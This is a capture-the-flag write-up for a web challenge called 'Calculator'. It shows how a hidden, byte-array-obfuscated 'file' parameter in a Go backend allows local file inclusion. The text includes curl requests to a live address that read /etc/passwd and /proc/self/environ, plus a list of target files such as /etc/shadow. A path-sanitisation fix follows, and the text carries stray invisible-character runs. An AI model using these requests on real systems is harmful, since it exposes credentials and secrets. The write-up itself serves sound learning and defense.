Calculator

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-20 | Status: Solved Techniques: Decoding obfuscated Go byte arrays, Local File Inclusion via hidden parameter, Reading /proc/self/environ for environment variables

Summary

Task: Calculator web app with Go backend exposing /source endpoint. Solution: Discovered obfuscated 'file' parameter (byte array), exploited LFI to read /proc/self/environ and extract flag from environment variables.

Calculator — hackerlab.pro

Description

А правда что калькулятор выполняет базовые математические функции?

URL: http://62.173.140.174:46005

Analysis

1. Reconnaissance

The main page shows a calculator with client-side JavaScript eval. The page has a link to the /source endpoint.

2. Source Code Analysis

The /source endpoint reveals Go source code. A hidden file parameter was discovered, obfuscated as a byte array:

 go read-only • copy allowed Copy
// Obfuscated parameter name
{102, 105, 108, 101}  // = "file"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoding:

• 102 = 'f'
• 105 = 'i'
• 108 = 'l'
• 101 = 'e'

Critical vulnerability — using os.ReadFile(reqFile) without path validation:

 go read-only • copy allowed Copy
reqFile := r.URL.Query().Get("file")
content, err := os.ReadFile(reqFile)

This is a classic LFI (Local File Inclusion) vulnerability.

Solution

Step 1: Confirming LFI

 bash read-only • copy allowed Copy
curl "http://62.173.140.174:46005/source?file=/etc/passwd"

Result — contents of /etc/passwd (Alpine Linux):

root:x:0:0:root:/root:/bin/ash
...

Step 2: Finding the Flag

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag is stored in environment variables. Reading via /proc/self/environ:

 bash read-only • copy allowed Copy
curl "http://62.173.140.174:46005/source?file=/proc/self/environ"

Step 3: Extracting the Flag

In the environment variables output:

FLAG=CODEBY{REDACTED}

Useful Files for LFI

 bash read-only • copy allowed Copy
# System files
/etc/passwd
/etc/shadow          # requires root
/etc/hosts

# Environment variables (Linux)
/proc/self/environ

# Application source code
/proc/self/cmdline   # startup command
/proc/self/cwd/main.go  # if structure is known
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Docker-specific
/proc/1/environ      # container ENV
/.dockerenv          # Docker check

Defense

 go read-only • copy allowed Copy
// Proper path validation
func sanitizePath(path string) (string, error) {
    // Disallow absolute paths
    if filepath.IsAbs(path) {
        return "", errors.New("absolute paths not allowed")
    }
    
    // Clean ../ and normalize
    cleaned := filepath.Clean(path)
    
    // Verify path doesn't escape base directory
    if strings.HasPrefix(cleaned, "..") {
        return "", errors.New("path traversal detected")
    }
    
    return filepath.Join(baseDir, cleaned), nil
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍